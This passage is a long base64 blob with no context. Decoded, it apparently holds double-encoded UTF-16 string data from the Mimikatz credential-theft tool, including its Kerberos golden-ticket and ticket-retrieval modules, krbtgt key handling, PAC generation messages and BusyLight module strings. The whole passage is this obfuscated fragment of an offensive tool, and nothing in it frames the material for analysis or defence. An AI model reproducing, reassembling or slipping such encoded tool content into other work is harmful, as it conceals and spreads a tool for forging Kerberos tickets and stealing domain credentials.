2QUhRQUlBQnpBR1VBZEFBZ0FIUUFid0FnQURFQUlBQXFBQ29BQ2dBQUFBQUFiZ0J2QUNBQWRBQnBBR01BYXdCbEFIUUFJQUFoQUFvQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUdzQVpRQnlBR0lBWlFCeUFHOEFjd0JmQUhRQVp3QjBBQ0FBT3dBZ0FFd0Fjd0JoQUVNQVlRQnNBR3dBUVFCMUFIUUFhQUJsQUc0QWRBQnBBR01BWVFCMEFHa0Fid0J1QUZBQVlRQmpBR3NBWVFCbkFHVUFJQUJMQUdVQWNnQmlBRklBWlFCMEFISUFhUUJsQUhZQVpRQlVBR2tBWXdCckFHVUFkQUJOQUdVQWN3QnpBR0VBWndCbEFDQUFMd0FnQUZBQVlRQmpBR3NBWVFCbkFHVUFJQUE2QUNBQUpRQXdBRGdBZUFBS0FBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCckFHVUFjZ0JpQUdVQWNnQnZBSE1BWHdCMEFHY0FkQUFnQURzQUlBQk1BSE1BWVFCREFHRUFiQUJzQUVFQWRRQjBBR2dBWlFCdUFIUUFhUUJqQUdFQWRBQnBBRzhBYmdCUUFHRUFZd0JyQUdFQVp3QmxBQ0FBU3dCbEFISUFZZ0JTQUdVQWRBQnlBR2tBWlFCMkFHVUFWQUJwQUdNQWF3QmxBSFFBVFFCbEFITUFjd0JoQUdjQVpRQWdBRG9BSUFBbEFEQUFPQUI0QUFvQUFBQUFBR1VBZUFCd0FHOEFjZ0IwQUFBQUFBQUtBRnNBSlFBd0FEZ0FlQUJkQUNBQUxRQWdBREFBZUFBbEFEQUFPQUI0QUNBQUxRQWdBQ1VBY3dBQUFBb0FJQUFnQUNBQVV3QjBBR0VBY2dCMEFDOEFSUUJ1QUdRQUx3Qk5BR0VBZUFCU0FHVUFiZ0JsQUhjQU9nQWdBQUFBQUFBZ0FEc0FJQUFBQUFvQUlBQWdBQ0FBVXdCbEFISUFkZ0JsQUhJQUlBQk9BR0VBYlFCbEFDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FDVUFkd0JhQUNBQVFBQWdBQ1VBZHdCYUFBQUFBQUFBQUFvQUlBQWdBQ0FBUXdCc0FHa0FaUUJ1QUhRQUlBQk9BR0VBYlFCbEFDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FDVUFkd0JhQUNBQVFBQWdBQ1VBZHdCYUFBQUFDZ0FnQUNBQUlBQkdBR3dBWVFCbkFITUFJQUFsQURBQU9BQjRBQ0FBSUFBZ0FDQUFPZ0FnQUFBQUFBQnJBR2tBY2dCaUFHa0FBQUFLQUNBQUlBQWdBQ29BSUFCVEFHRUFkZ0JsQUdRQUlBQjBBRzhBSUFCbUFHa0FiQUJsQUNBQUlBQWdBQ0FBSUFBNkFDQUFKUUJ6QUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHc0FaUUJ5QUdJQVpRQnlBRzhBY3dCZkFHd0FhUUJ6QUhRQUlBQTdBQ0FBVEFCekFHRUFRd0JoQUd3QWJBQkJBSFVBZEFCb0FHVUFiZ0IwQUdrQVl3QmhBSFFBYVFCdkFHNEFVQUJoQUdNQWF3QmhBR2NBWlFBZ0FFc0FaUUJ5QUdJQVVnQmxBSFFBY2dCcEFHVUFkZ0JsQUVVQWJnQmpBRzhBWkFCbEFHUUFWQUJwQUdNQWF3QmxBSFFBVFFCbEFITUFjd0JoQUdjQVpRQWdBQzhBSUFCUUFHRUFZd0JyQUdFQVp3QmxBQ0FBT2dBZ0FDVUFNQUE0QUhnQUNnQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWF3QmxBSElBWWdCbEFISUFid0J6QUY4QWJBQnBBSE1BZEFBZ0FEc0FJQUJNQUhNQVlRQkRBR0VBYkFCc0FFRUFkUUIwQUdnQVpRQnVBSFFBYVFCakFHRUFkQUJwQUc4QWJnQlFBR0VBWXdCckFHRUFad0JsQUNBQVN3QmxBSElBWWdCU0FHVUFkQUJ5QUdrQVpRQjJBR1VBUlFCdUFHTUFid0JrQUdVQVpBQlVBR2tBWXdCckFHVUFkQUJOQUdVQWN3QnpBR0VBWndCbEFDQUFPZ0FnQUNVQU1BQTRBSGdBQ2dBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnJBR1VBY2dCaUFHVUFjZ0J2QUhNQVh3QnNBR2tBY3dCMEFDQUFPd0FnQUV3QWN3QmhBRU1BWVFCc0FHd0FRUUIxQUhRQWFBQmxBRzRBZEFCcEFHTUFZUUIwQUdrQWJ3QnVBRkFBWVFCakFHc0FZUUJuQUdVQUlBQkxBR1VBY2dCaUFGRUFkUUJsQUhJQWVRQlVBR2tBWXdCckFHVUFkQUJEQUdFQVl3Qm9BR1VBUlFCNEFESUFUUUJsQUhNQWN3QmhBR2NBWlFBZ0FDOEFJQUJRQUdFQVl3QnJBR0VBWndCbEFDQUFPZ0FnQUNVQU1BQTRBSGdBQ2dBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnJBR1VBY2dCaUFHVUFjZ0J2QUhNQVh3QnNBR2tBY3dCMEFDQUFPd0FnQUV3QWN3QmhBRU1BWVFCc0FHd0FRUUIxQUhRQWFBQmxBRzRBZEFCcEFHTUFZUUIwQUdrQWJ3QnVBRkFBWVFCakFHc0FZUUJuQUdVQUlBQkxBR1VBY2dCaUFGRUFkUUJsQUhJQWVRQlVBR2tBWXdCckFHVUFkQUJEQUdFQVl3Qm9BR1VBUlFCNEFESUFUUUJsQUhNQWN3QmhBR2NBWlFBZ0FEb0FJQUFsQURBQU9BQjRBQW9BQUFBQUFDVUFkUUF0QUNVQU1BQTRBSGdBTFFBbEFIY0FXZ0JBQUNVQWR3QmFBQzBBSlFCM0FGb0FMZ0FsQUhNQUFBQUFBSFFBYVFCakFHc0FaUUIwQUM0QWF3QnBBSElBWWdCcEFBQUFBQUIwQUdrQVl3QnJBR1VBZEFBQUFBQUFZUUJrQUcwQWFRQnVBQUFBZFFCekFHVUFjZ0FBQUFBQVpBQnZBRzBBWVFCcEFHNEFBQUFBQUdRQVpRQnpBQUFBY2dCakFEUUFBQUJyQUhJQVlnQjBBR2NBZEFBQUFBQUFZUUJsQUhNQU1RQXlBRGdBQUFBQUFHRUFaUUJ6QURJQU5RQTJBQUFBQUFCekFHVUFjZ0IyQUdrQVl3QmxBQUFBZEFCaEFISUFad0JsQUhRQUFBQUFBR2tBWkFBQUFBQUFjZ0J2QUdRQVl3QUFBQUFBWndCeUFHOEFkUUJ3QUhNQUFBQUFBSE1BYVFCa0FITUFBQUFBQURBQUFBQnpBSFFBWVFCeUFIUUFid0JtQUdZQWN3QmxBSFFBQUFBMUFESUFOUUEyQURBQU1BQXdBQUFBWlFCdUFHUUFhUUJ1QUFBQWNnQmxBRzRBWlFCM0FHMEFZUUI0QUFBQUFBQUFBQUFBVlFCekFHVUFjZ0FnQUNBQUlBQWdBQ0FBSUFBNkFDQUFKUUJ6QUFvQVJBQnZBRzBBWVFCcEFHNEFJQUFnQUNBQUlBQTZBQ0FBSlFCekFBb0FVd0JKQUVRQUlBQWdBQ0FBSUFBZ0FDQUFJQUE2QUNBQUpRQnpBQW9BVlFCekFHVUFjZ0FnQUVrQVpBQWdBQ0FBSUFBNkFDQUFKUUIxQUFvQUFBQUFBRWNBY2dCdkFIVUFjQUJ6QUNBQVNRQmtBQ0FBT2dBZ0FDb0FBQUFsQUhVQUlBQUFBQW9BUlFCNEFIUUFjZ0JoQUNBQVV3QkpBRVFBY3dBNkFDQUFBQUFLQUZNQVpRQnlBSFlBYVFCakFHVUFTd0JsQUhrQU9nQWdBQUFBSUFBdEFDQUFKUUJ6QUFvQUFBQUFBRk1BWlFCeUFIWUFhUUJqQUdVQUlBQWdBQ0FBT2dBZ0FDVUFjd0FLQUFBQVZBQmhBSElBWndCbEFIUUFJQUFnQUNBQUlBQTZBQ0FBSlFCekFBb0FBQUJNQUdrQVpnQmxBSFFBYVFCdEFHVUFJQUFnQURvQUlBQUFBQUFBS2dBcUFDQUFVQUJoQUhNQWN3QWdBRlFBYUFCbEFDQUFWQUJwQUdNQWF3QmxBSFFBSUFBcUFDb0FBQUF0QUQ0QUlBQlVBR2tBWXdCckFHVUFkQUFnQURvQUlBQWxBSE1BQ2dBS0FBQUFBQUFBQUFBQUNnQkhBRzhBYkFCa0FHVUFiZ0FnQUhRQWFRQmpBR3NBWlFCMEFDQUFaZ0J2QUhJQUlBQW5BQ1VBY3dBZ0FFQUFJQUFsQUhNQUp3QWdBSE1BZFFCakFHTUFaUUJ6QUhNQVpnQjFBR3dBYkFCNUFDQUFjd0IxQUdJQWJRQnBBSFFBZEFCbEFHUUFJQUJtQUc4QWNnQWdBR01BZFFCeUFISUFaUUJ1QUhRQUlBQnpBR1VBY3dCekFHa0Fid0J1QUFvQUFBQUFBQW9BUmdCcEFHNEFZUUJzQUNBQVZBQnBBR01BYXdCbEFIUUFJQUJUQUdFQWRnQmxBR1FBSUFCMEFHOEFJQUJtQUdrQWJBQmxBQ0FBSVFBS0FBQUFBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCckFHVUFjZ0JpQUdVQWNnQnZBSE1BWHdCbkFHOEFiQUJrQUdVQWJnQWdBRHNBSUFBS0FHc0FkUUJzQUd3QVh3QnRBRjhBWmdCcEFHd0FaUUJmQUhjQWNnQnBBSFFBWlFCRUFHRUFkQUJoQUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHc0FaUUJ5QUdJQVpRQnlBRzhBY3dCZkFHY0Fid0JzQUdRQVpRQnVBQ0FBT3dBZ0FFc0FjZ0JpQUVNQWNnQmxBR1FBSUFCbEFISUFjZ0J2QUhJQUNnQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUdzQVpRQnlBR0lBWlFCeUFHOEFjd0JmQUdjQWJ3QnNBR1FBWlFCdUFDQUFPd0FnQUVzQWNnQmlBSFFBWndCMEFDQUFhd0JsQUhrQUlBQnpBR2tBZWdCbEFDQUFiQUJsQUc0QVp3QjBBR2dBSUFCdEFIVUFjd0IwQUNBQVlnQmxBQ0FBSlFCMUFDQUFLQUFsQUhVQUlBQmlBSGtBZEFCbEFITUFLUUFnQUdZQWJ3QnlBQ0FBSlFCekFBb0FBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR3NBWlFCeUFHSUFaUUJ5QUc4QWN3QmZBR2NBYndCc0FHUUFaUUJ1QUNBQU93QWdBRlVBYmdCaEFHSUFiQUJsQUNBQWRBQnZBQ0FBYkFCdkFHTUFZUUIwQUdVQUlBQkRBSElBZVFCd0FIUUFid0JUQUhrQWN3QjBBR1VBYlFBZ0FHWUFid0J5QUNBQVJRQlVBRmtBVUFCRkFDQUFKUUIxQUNBQUtBQmxBSElBY2dCdkFISUFJQUF3QUhnQUpRQXdBRGdBZUFBcEFDQUFMUUFnQUVFQVJRQlRBQ0FBYndCdUFHd0FlUUFnQUdFQWRnQmhBR2tBYkFCaEFHSUFiQUJsQUNBQWJ3QnVBQ0FBVGdCVUFEWUFDZ0FBQUFBQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHc0FaUUJ5QUdJQVpRQnlBRzhBY3dCZkFHY0Fid0JzQUdRQVpRQnVBQ0FBT3dBZ0FFMEFhUUJ6QUhNQWFRQnVBR2NBSUFCckFISUFZZ0IwQUdjQWRBQWdBR3NBWlFCNUFDQUFZUUJ5QUdjQWRRQnRBR1VBYmdCMEFDQUFLQUF2QUhJQVl3QTBBQ0FBYndCeUFDQUFMd0JoQUdVQWN3QXhBRElBT0FBZ0FHOEFjZ0FnQUM4QVlRQmxBSE1BTWdBMUFEWUFLUUFLQUFBQUFBQUFBQUFBUlFCU0FGSUFUd0JTQUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JyQUdVQWNnQmlBR1VBY2dCdkFITUFYd0JuQUc4QWJBQmtBR1VBYmdBZ0FEc0FJQUJUQUVrQVJBQWdBSE1BWlFCbEFHMEFjd0FnQUdrQWJnQjJBR0VBYkFCcEFHUUFJQUF0QUNBQVF3QnZBRzRBZGdCbEFISUFkQUJUQUhRQWNnQnBBRzRBWndCVEFHa0FaQUJVQUc4QVV3QnBBR1FBSUFBb0FEQUFlQUFsQURBQU9BQjRBQ2tBQ2dBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnJBR1VBY2dCaUFHVUFjZ0J2QUhNQVh3Qm5BRzhBYkFCa0FHVUFiZ0FnQURzQUlBQk5BR2tBY3dCekFHa0FiZ0JuQUNBQVV3QkpBRVFBSUFCaEFISUFad0IxQUcwQVpRQnVBSFFBQ2dBQUFBQUFBQUFBQUVVQVVnQlNBRThBVWdBZ0FHc0FkUUJvQUd3QVh3QnRBRjhBYXdCbEFISUFZZ0JsQUhJQWJ3QnpBRjhBWndCdkFHd0FaQUJsQUc0QUlBQTdBQ0FBVFFCcEFITUFjd0JwQUc0QVp3QWdBR1FBYndCdEFHRUFhUUJ1QUNBQVlRQnlBR2NBZFFCdEFHVUFiZ0IwQUFvQUFBQkZBRklBVWdCUEFGSUFJQUJyQUhVQWFBQnNBRjhBYlFCZkFHc0FaUUJ5QUdJQVpRQnlBRzhBY3dCZkFHY0Fid0JzQUdRQVpRQnVBQ0FBT3dBZ0FFMEFhUUJ6QUhNQWFRQnVBR2NBSUFCMUFITUFaUUJ5QUNBQVlRQnlBR2NBZFFCdEFHVUFiZ0IwQUFvQUFBQThBRE1BSUFCbEFHOEFMZ0J2QUdVQUlBQitBQ0FBUVFCT0FGTUFVd0JKQUNBQVJRQStBQUFBSUFBcUFDQUFVQUJCQUVNQUlBQm5BR1VBYmdCbEFISUFZUUIwQUdVQVpBQUtBQUFBSUFBcUFDQUFVQUJCQUVNQUlBQnpBR2tBWndCdUFHVUFaQUFLQUFBQUFBQWdBQ29BSUFCRkFHNEFZd0JVQUdrQVl3QnJBR1VBZEFCUUFHRUFjZ0IwQUNBQVp3QmxBRzRBWlFCeUFHRUFkQUJsQUdRQUNnQUFBQ0FBS2dBZ0FFVUFiZ0JqQUZRQWFRQmpBR3NBWlFCMEFGQUFZUUJ5QUhRQUlBQmxBRzRBWXdCeUFIa0FjQUIwQUdVQVpBQUtBQUFBSUFBcUFDQUFTd0J5QUdJQVF3QnlBR1VBWkFBZ0FHY0FaUUJ1QUdVQWNnQmhBSFFBWlFCa0FBb0FBQUFBQUFBQVJRQlNBRklBVHdCU0FDQUFhd0IxQUdnQWJBQmZBRzBBWHdCckFHVUFjZ0JpQUdVQWNnQnZBSE1BWHdCbkFHOEFiQUJrQUdVQWJnQmZBR1FBWVFCMEFHRUFJQUE3QUNBQWF3QjFBR2dBYkFCZkFHMEFYd0JyQUdVQWNnQmlBR1VBY2dCdkFITUFYd0JsQUc0QVl3QnlBSGtBY0FCMEFDQUFKUUF3QURnQWVBQUtBQUFBQ1FBcUFDQUFKUUJ6QUNBQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUdzQVpRQnlBR0lBWlFCeUFHOEFjd0JmQUdnQVlRQnpBR2dBWHdCa0FHRUFkQUJoQUNBQU93QWdBRWdBWVFCekFHZ0FVQUJoQUhNQWN3QjNBRzhBY2dCa0FDQUFPZ0FnQUNVQU1BQTRBSGdBQ2dBQUFBQUFZd0J2QUhVQWJnQjBBQUFBV0FBdEFFTUFRUUJEQUVnQVJRQkRBRThBVGdCR0FEb0FBQUFBQUFvQVVBQnlBR2tBYmdCakFHa0FjQUJoQUd3QUlBQTZBQ0FBQUFBS0FBb0FSQUJoQUhRQVlRQWdBQ1VBZFFBQUFBb0FDUUFnQUNBQUlBQXFBQ0FBU1FCdUFHb0FaUUJqQUhRQWFRQnVBR2NBSUFCMEFHa0FZd0JyQUdVQWRBQWdBRG9BSUFBQUFBQUFDZ0FKQUNBQUlBQWdBQ29BSUFCVEFHRUFkZ0JsQUdRQUlBQjBBRzhBSUFCbUFHa0FiQUJsQUNBQUpRQnpBQ0FBSVFBQUFBQUFBQUJGQUZJQVVnQlBBRklBSUFCckFIVUFhQUJzQUY4QWJRQmZBR3NBWlFCeUFHSUFaUUJ5QUc4QWN3QmZBR01BWXdCaEFHTUFhQUJsQUY4QVpRQnVBSFVBYlFBZ0FEc0FJQUJyQUhVQWJBQnNBRjhBYlFCZkFHWUFhUUJzQUdVQVh3QjNBSElBYVFCMEFHVUFSQUJoQUhRQVlRQWdBQ2dBTUFCNEFDVUFNQUE0QUhnQUtRQUtBQUFBQ2dBSkFDb0FJQUFsQUhjQVdnQWdBR1VBYmdCMEFISUFlUUEvQUNBQUtnQUFBQUFBQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QWF3QmxBSElBWWdCbEFISUFid0J6QUY4QVl3QmpBR0VBWXdCb0FHVUFYd0JsQUc0QWRRQnRBQ0FBT3dBZ0FHTUFZd0JoQUdNQWFBQmxBQ0FBZGdCbEFISUFjd0JwQUc4QWJnQWdBQ0VBUFFBZ0FEQUFlQUF3QURVQU1BQTBBQW9BQUFBQUFBQUFSUUJTQUZJQVR3QlNBQ0FBYXdCMUFHZ0FiQUJmQUcwQVh3QnJBR1VBY2dCaUFHVUFjZ0J2QUhNQVh3QmpBR01BWVFCakFHZ0FaUUJmQUdVQWJnQjFBRzBBSUFBN0FDQUFhd0IxQUd3QWJBQmZBRzBBWHdCbUFHa0FiQUJsQUY4QWNnQmxBR0VBWkFCRUFHRUFkQUJoQUNBQUtBQXdBSGdBSlFBd0FEZ0FlQUFwQUFvQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFhd0JsQUhJQVlnQmxBSElBYndCekFGOEFZd0JqQUdFQVl3Qm9BR1VBWHdCbEFHNEFkUUJ0QUNBQU93QWdBRUVBZEFBZ0FHd0FaUUJoQUhNQWRBQWdBRzhBYmdCbEFDQUFaZ0JwQUd3QVpRQnVBR0VBYlFCbEFDQUFhUUJ6QUNBQWJnQmxBR1VBWkFCbEFHUUFDZ0FBQUFBQUpRQjFBQzBBSlFBd0FEZ0FlQUF1QUNVQWN3QUFBQUFBQ2dBSkFDQUFJQUFnQUZNQWRBQmhBSElBZEFBdkFFVUFiZ0JrQUM4QVRRQmhBSGdBVWdCbEFHNEFaUUIzQURvQUlBQUFBQW9BQ1FBZ0FDQUFJQUJUQUdVQWNnQjJBR2tBWXdCbEFDQUFUZ0JoQUcwQVpRQWdBQUFBQUFBS0FBa0FJQUFnQUNBQVZBQmhBSElBWndCbEFIUUFJQUJPQUdFQWJRQmxBQ0FBSUFBQUFBQUFDZ0FKQUNBQUlBQWdBRU1BYkFCcEFHVUFiZ0IwQUNBQVRnQmhBRzBBWlFBZ0FDQUFBQUFBQUNBQUtBQWdBQ1VBZHdCYUFDQUFLUUFBQUFBQUNnQUpBQ0FBSUFBZ0FFWUFiQUJoQUdjQWN3QWdBQ1VBTUFBNEFIZ0FJQUFnQUNBQUlBQTZBQ0FBQUFBS0FBa0FJQUFnQUNBQVV3QmxBSE1BY3dCcEFHOEFiZ0FnQUVzQVpRQjVBQ0FBSUFBZ0FDQUFJQUFnQUNBQU9nQWdBREFBZUFBbEFEQUFPQUI0QUNBQUxRQWdBQ1VBY3dBQUFBQUFDZ0FKQUNBQUlBQWdBQ0FBSUFBQUFBQUFBQUFLQUFrQUlBQWdBQ0FBVkFCcEFHTUFhd0JsQUhRQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBT2dBZ0FEQUFlQUFsQURBQU9BQjRBQ0FBTFFBZ0FDVUFjd0FnQURzQUlBQnJBSFlBYmdCdkFDQUFQUUFnQUNVQWRRQUFBQUFBQ1FCYkFDNEFMZ0F1QUYwQUFBQUFBRzRBWVFCdEFHVUFYd0JqQUdFQWJnQnZBRzRBYVFCakFHRUFiQUJwQUhvQVpRQUFBRzhBYXdCZkFHRUFjd0JmQUdRQVpRQnNBR1VBWndCaEFIUUFaUUFBQUFBQWFBQjNBRjhBWVFCMUFIUUFhQUJsQUc0QWRBQUFBQUFBY0FCeUFHVUFYd0JoQUhVQWRBQm9BR1VBYmdCMEFBQUFhUUJ1QUdrQWRBQnBBR0VBYkFBQUFISUFaUUJ1QUdVQWR3QmhBR0lBYkFCbEFBQUFhUUJ1QUhZQVlRQnNBR2tBWkFBQUFIQUFid0J6QUhRQVpBQmhBSFFBWlFCa0FBQUFiUUJoQUhrQVh3QndBRzhBY3dCMEFHUUFZUUIwQUdVQUFBQUFBSEFBY2dCdkFIZ0FlUUFBQUhBQWNnQnZBSGdBYVFCaEFHSUFiQUJsQUFBQVpnQnZBSElBZHdCaEFISUFaQUJsQUdRQUFBQm1BRzhBY2dCM0FHRUFjZ0JrQUdFQVlnQnNBR1VBQUFBb0FDVUFNQUF5QUdnQWRRQXBBQ0FBT2dBZ0FBQUFBQUFsQUhjQVdnQWdBRHNBSUFBQUFBQUFLQUF0QUMwQUtRQWdBRG9BSUFBQUFFQUFJQUFsQUhjQVdnQUFBRzRBZFFCc0FHd0FJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQUFBR1FBWlFCekFGOEFjQUJzQUdFQWFRQnVBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQUFBR1FBWlFCekFGOEFZd0JpQUdNQVh3QmpBSElBWXdBZ0FDQUFJQUFnQUNBQUlBQUFBR1FBWlFCekFGOEFZd0JpQUdNQVh3QnRBR1FBTkFBZ0FDQUFJQUFnQUNBQUlBQUFBR1FBWlFCekFGOEFZd0JpQUdNQVh3QnRBR1FBTlFBZ0FDQUFJQUFnQUNBQUlBQUFBR1FBWlFCekFGOEFZd0JpQUdNQVh3QnRBR1FBTlFCZkFHNEFkQUFnQUNBQUlBQUFBSElBWXdBMEFGOEFjQUJzQUdFQWFRQnVBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQUFBSElBWXdBMEFGOEFjQUJzQUdFQWFRQnVBRElBSUFBZ0FDQUFJQUFnQUNBQUlBQUFBSElBWXdBMEFGOEFjQUJzQUdFQWFRQnVBRjhBWlFCNEFIQUFJQUFnQUNBQUlBQUFBSElBWXdBMEFGOEFiQUJ0QUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQUFBSElBWXdBMEFGOEFiUUJrQURRQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQUFBSElBWXdBMEFGOEFjd0JvQUdFQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQUFBSElBWXdBMEFGOEFhQUJ0QUdFQVl3QmZBRzRBZEFBZ0FDQUFJQUFnQUNBQUlBQUFBSElBWXdBMEFGOEFhQUJ0QUdFQVl3QmZBRzRBZEFCZkFHVUFlQUJ3QUNBQUlBQUFBSElBWXdBMEFGOEFjQUJzQUdFQWFRQnVBRjhBYndCc0FHUUFJQUFnQUNBQUlBQUFBSElBWXdBMEFGOEFjQUJzQUdFQWFRQnVBRjhBYndCc0FHUUFYd0JsQUhnQWNBQUFBSElBWXdBMEFGOEFhQUJ0QUdFQVl3QmZBRzhBYkFCa0FDQUFJQUFnQUNBQUlBQUFBSElBWXdBMEFGOEFhQUJ0QUdFQVl3QmZBRzhBYkFCa0FGOEFaUUI0QUhBQUlBQUFBR0VBWlFCekFERUFNZ0E0QUY4QWFBQnRBR0VBWXdCZkFIQUFiQUJoQUdrQWJnQUFBR0VBWlFCekFESUFOUUEyQUY4QWFBQnRBR0VBWXdCZkFIQUFiQUJoQUdrQWJnQUFBR0VBWlFCekFERUFNZ0E0QUY4QWFBQnRBR0VBWXdBZ0FDQUFJQUFnQUNBQUlBQUFBR0VBWlFCekFESUFOUUEyQUY4QWFBQnRBR0VBWXdBZ0FDQUFJQUFnQUNBQUlBQUFBSFVBYmdCckFHNEFid0IzQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQUFBSE1BZEFCaEFIUUFkUUJ6QUFBQUFBQnpBR2tBYmdCbkFHd0FaUUFBQUFBQWJ3Qm1BR1lBQUFCMEFHVUFjd0IwQUFBQUFBQmlBSFVBY3dCNUFHd0FhUUJuQUdnQWRBQUFBRUlBZFFCekFIa0FUQUJwQUdjQWFBQjBBQ0FBVFFCdkFHUUFkUUJzQUdVQUFBQUFBQUFBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUdJQWRRQnpBSGtBYkFCcEFHY0FhQUIwQUY4QWJ3Qm1BR1lBSUFBN0FDQUFUZ0J2QUNBQVFnQjFBSE1BZVFCTUFHa0Fad0JvQUhRQUNnQUFBQUFBU1FCT0FGQUFWUUJVQUVVQVZnQkZBRTRBVkFBQUFBQUFUQUJKQUVjQVNBQlVBQUFBVXdCUEFGVUFUZ0JFQUFBQVNnQkpBRTRBUndCTUFFVUFYd0JEQUV3QVNRQlFBRk1BQUFBQUFFSUFkUUJ6QUhrQVRBQnBBR2NBYUFCMEFDQUFaQUJsQUhRQVpRQmpBSFFBWlFCa0FBb0FBQUFBQUFBQUNnQmJBQ1VBTXdCMUFGMEFJQUFsQUhNQUNnQWdBQ0FBVmdCbEFHNEFaQUJ2QUhJQU9nQWdBREFBZUFBbEFEQUFOQUI0QUN3QUlBQlFBSElBYndCa0FIVUFZd0IwQURvQUlBQXdBSGdBSlFBd0FEUUFlQUFzQUNBQVZnQmxBSElBY3dCcEFHOEFiZ0E2QUNBQU1BQjRBQ1VBTUFBMEFIZ0FDZ0FnQUNBQVJBQmxBSE1BWXdCeUFHa0FjQUIwQUdrQWJ3QnVBQ0FBSUFBZ0FEb0FJQUFsQUhNQUNnQWdBQ0FBUXdCaEFIQUFZUUJpQUdrQWJBQnBBSFFBYVFCbEFITUFJQUFnQURvQUlBQXdBSGdBSlFBd0FESUFlQUFnQUNnQUlBQUFBQ1VBY3dBc0FDQUFBQUFBQUNrQUNnQUFBQUFBSUFBZ0FFUUFaUUIyQUdrQVl3QmxBQ0FBU0FCaEFHNEFaQUJzQUdVQU9nQWdBREFBZUFBbEFIQUFDZ0FBQUFBQUlBQWdBQ0FBSUFCVEFIUUFZUUIwQUhVQWN3QWdBQ0FBSUFBZ0FDQUFPZ0FnQURBQWVBQWxBREFBTWdCNEFBb0FBQUFBQUNBQUlBQWdBQ0FBVUFCeUFHOEFaQUIxQUdNQWRBQkpBR1FBSUFBZ0FEb0FJQUFsQUZNQUNnQUFBQUFBSUFBZ0FDQUFJQUJEQUc4QWN3QjBBSFVBYlFCbEFISUFTUUJrQUNBQU9nQWdBQ1VBVXdBS0FBQUFBQUFnQUNBQUlBQWdBRTBBYndCa0FHVUFiQUFnQUNBQUlBQWdBQ0FBSUFBNkFDQUFKUUJUQUFvQUFBQUFBQ0FBSUFBZ0FDQUFVd0JsQUhJQWFRQmhBR3dBSUFBZ0FDQUFJQUFnQURvQUlBQWxBRk1BQ2dBQUFBQUFJQUFnQUNBQUlBQk5BR1lBWndCZkFFa0FSQUFnQUNBQUlBQWdBQ0FBT2dBZ0FDVUFVd0FLQUFBQUFBQWdBQ0FBSUFBZ0FFMEFaZ0JuQUY4QVJBQmhBSFFBWlFBZ0FDQUFJQUE2QUNBQUpRQlRBQW9BQUFBQUFDQUFJQUFnQUNBQWN3QjNBSElBWlFCc0FHVUFZUUJ6QUdVQUlBQWdBRG9BSUFBbEFGTUFDZ0FBQUFBQUlBQWdBRXNBWlFCbEFIQUFRUUJzQUdrQWRnQmxBQ0FBVkFCb0FISUFaUUJoQUdRQU9nQWdBREFBZUFBbEFIQUFJQUFvQUNVQWRRQWdBRzBBY3dBcEFBb0FJQUFnQUZjQWJ3QnlBR3NBWlFCeUFDQUFWQUJvQUhJQVpRQmhBR1FBSUFBZ0FDQUFPZ0FnQURBQWVBQWxBSEFBSUFBb0FDVUFkUUFnQUcwQWN3QXBBQW9BQUFBQUFFVUFVZ0JTQUU4QVVnQWdBR3NBZFFCb0FHd0FYd0J0QUY4QVlnQjFBSE1BZVFCc0FHa0Fad0JvQUhRQVh3QnpBSFFBWVFCMEFIVUFjd0FnQURzQUlBQk9BRzhBSUFCQ0FIVUFjd0I1QUV3QWFRQm5BR2dBZEFBS0FBQUFXd0FsQURNQWRRQmRBQ0FBSlFCekFDQUFLQUFnQUFBQUFBQUFBRVVBVWdCU0FFOEFVZ0FnQUdzQWRRQm9BR3dBWHdCdEFGOEFZZ0IxQUhNQWVRQnNBR2tBWndCb0FIUUFYd0JzQUdrQWN3QjBBQ0FBT3dBZ0FFNEFid0FnQUVJQWRRQnpBSGtBVEFCcEFHY0FhQUIwQUFvQUFBQnpBRzhBZFFCdUFHUUFBQUJqQUc4QWJBQnZBSElBQUFCRkFGSUFVZ0JQQUZJQUlBQnJBSFVBYUFCc0FGOEFiUUJmQUdJQWRRQnpBSGtBYkFCcEFHY0FhQUIwQUY4QWN3QnBBRzRBWndCc0FHVUFJQUE3QUNBQVRnQnZBQ0FBUWdCMUFITUFlUUJNQUdrQVp3Qm9BSFFBQ2dBQUFIQUFjZ0J2QUhZQWFR